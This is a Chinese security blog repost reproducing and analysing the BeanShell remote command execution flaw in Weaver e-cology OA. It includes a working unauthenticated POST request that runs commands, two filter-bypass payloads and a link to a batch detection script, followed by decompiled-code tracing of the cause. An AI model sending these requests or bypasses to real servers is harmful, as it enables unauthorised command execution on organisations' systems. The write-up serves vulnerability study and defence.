泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具

admin 2024年10月28日12:41:35评论108 views字数 1860阅读6分12秒阅读模式

漏洞描述

2019年9月17日泛微OA官方更新了一个远程代码执行漏洞补丁, 泛微e-cology OA系统的Java Beanshell接口可被未授权访问, 攻击者调用该Beanshell接口, 可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行, 漏洞等级严重

漏洞信息

漏洞名称 泛微OA E-cology 远程代码执行漏洞

CNVD编号 CNVD-2019-32204

威胁等级 高危

公开时间 2019年9月17日

影响版本:E-cology 7.0 E-cology 8.0 E-cology 8.1 E-cology 9.0

漏洞复现

直接在网站根目录后加入组件访问路径 /weaver/bsh.servlet.BshServlet/,如下图执行了命令“whoami

泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具
image.png

请求包为:

POST /weaver/bsh.servlet.BshServlet HTTP/1.1
Host: xxxxxxxx
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 98
Content-Type: application/x-www-form-urlencoded

bsh.script=exu0065c("whoami");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw

关于绕过:

1.unicode编码泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具2.字符串拼接

bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter("command"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具

批量验证脚本

该脚本组合了常用的泛微OA web路径,加上本文讲解绕过过滤器的Poc 该工具仅用于测试研究使用请勿他用。

脚本地址:https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204

漏洞分析#

漏洞出现在e-cology的组件beanshell上,由于beanshell这个接口可被未授权访问,同时这个接口在接受用户请求时未进行相应过滤,最终导致远程命令执行

先了解下Beanshell的基础

  • 官网地址:https://github.com/beanshell/beanshell

BeanShell是一个小型的,免费的,可嵌入的Java源解释器,具有使用Java编写的对象脚本语言功能。BeanShell动态执行标准Java语法,并通过通用的脚本编写便利进行扩展,例如松散的类型,命令和方法闭包(如Perl和JavaScript)。可以交互地使用BeanShell进行Java实验和调试,以及以新方式扩展应用程序。Beanshell可以执行print、dir、eval、exec等命令

简单说,就是一个微型的java解释器,可嵌入到其他程序中,用于动态的执行java代码,类似于csharp中的动态编译特性,我们通过一个例子来了解beanshell,如下图:

  • 实例化Interpreter类

  • eval()函数用于动态的执行java代码

泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具
image.png

除了eval函数,还有其他函数可以动态执行字符串泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具使用jadx反编译jar包,由于访问的组件路径为/weaver/bsh.servlet.BshServlet/,所以我们先查看一下类bsh.servlet.BshServlet,如下图泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具

网站是post提交数据,所以我们查看doPost函数,发现只是执行了doGet函数:泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具

跟踪doGet:

httpServletRequest.getParameter("bsh.script");参数为传入的值,赋值给了parameter泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具

跟踪parameter,传入了evalScript函数:泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具

跟踪evalScript函数:泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具

直接调用interpreter.eval进行了代码执行泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具

interpreter是Interpreter实例化的类泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具

原文始发于微信公众号(网安知识库):泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月28日12:41:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具https://cn-sec.com/archives/3323354.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息